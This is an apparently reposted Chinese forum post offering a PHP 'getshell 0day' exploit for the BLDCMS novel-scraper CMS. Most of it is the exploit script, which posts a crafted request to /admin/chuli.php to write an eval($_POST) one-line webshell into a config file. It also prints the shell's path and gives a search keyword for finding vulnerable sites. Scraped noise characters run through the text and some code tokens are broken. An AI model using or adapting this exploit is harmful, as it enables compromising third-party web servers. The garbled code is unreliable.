BLDCMS(白老大小说) Getshell 0day EXP

admin

之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞


2 S: r- x5 o) U% c话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了
. D% H) K  B; _# r: k. O& y9 U! H& T
* \  ]9 I& W" u8 F3 _既然都有人发了 我就把我之前写好的EXP放出来吧
+ |: `, v4 {6 ^' O
view source print?01.php;">
. w3 T- f4 |* @( p/ @1 Y. `02.<!--?php
03.echo "-------------------------------------------------------------------
04.
05.------------\r\n              BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP
06.
07.(GPC=Off)\r\n            Vulnerability discovery&Code by 数据流@wooyun
08.
09.QQ:981009941\r\n                                2013.3.21\r\n            
- U/ l3 i; o- X, `# G7 E  I' P; ?$ q10.
11.
1 @. c% T- P. O: s) |! A12.用法:php.exe EXP.php www.baidu.com /cms/ pass(一句话密码
13.
( {0 h# d  f6 X; |/ w+ q9 O) F14.)\r\n                    搜索关键字:\"开发者: 白老大小说\"\r\n-----------
8 c" W3 \3 ~- Z/ H- A: L2 u9 U15.
) |4 [' c9 ?! r3 h2 K# j16.--------------------------------------------------------------------\r\n";
" I5 u# Q* v0 ]3 L0 Q& L8 u17.$url=$argv[1];
: H$ x2 v* E$ \/ Z" O* }18.$dir=$argv[2];
19.$pass=$argv[3];
6 e) D4 X9 q) \8 y8 e) Y$ J20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';
' n% b! t4 `# o) C' ~6 Z21.if (emptyempty($pass)||emptyempty($url))
22.{exit("请输入参数");}
7 {0 C- d9 ?7 V8 F23.else
24.{
4 m& V- N" @# q: D25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev
26.
27.al;
2 F$ g5 O, m" }28.$length = strlen($fuckdata);
/ ?0 y! }/ r8 s2 N$ T29.function getshell($url,$pass)
; z2 |: w8 f+ [" u3 H# c5 w4 n30.{
# F2 r( ?0 r5 Q1 w31.global $url,$dir,$pass,$eval,$length,$fuckdata;
32.$header = "OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";
33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
6 h4 {% ?- o7 d: Z34.$header .= "User-Agent: MSIE\r\n";
35.$header .= "Host:".$url."\r\n";
36.$header .= "Content-Length: ".$length."\r\n";
3 W/ l3 M' c$ e- y( ?37.$header .= "Connection: Close\r\n";
38.$header .="\r\n";
39.$header .= $fuckdata."\r\n\r\n";
6 M) D, q/ P5 t! }1 ~40.$fp = fsockopen($url, 80,$errno,$errstr,15);
' z8 J8 v6 U2 M$ ^& \! S. v& S' ]41.if (!$fp)
42.{
43.exit ("利用失败:请检查指定目标是否能正常打开");
44.}
45.else{ if (!fputs($fp,$header))
46.{exit ("利用失败");}
+ T9 J% ]+ o" ?7 l. m+ t* L9 Q47.else
48.{
9 O, q7 ~* i+ J9 w3 O5 W0 J49.$receive = '';
, x. [& x6 q& I; L( q9 X50.while (!feof($fp)) {
51.$receive .= @fgets($fp, 1000);
2 @, }+ j0 N1 Z+ G; e3 D* X+ R52.}
3 I2 ~* @6 c( w: e4 t9 a53.@fclose($fp);
54.echo "$url/$dir/conn/config/normal2.php passpass(如连接失败 请检查目标
/ [. S1 A2 a! K. x55.
# G. M9 w* w" k2 l& A56.GPC是否=off)";
) |. X( V0 e$ c  b) @0 W/ ^57.}}
, Q3 Y+ ^' u* w% T5 y  \% d58.}
59.}
60.getshell($url,$pass);
61.?-->

9 ]( S6 f; k: V. c* T! u& G% O- V  p) F

by 数据流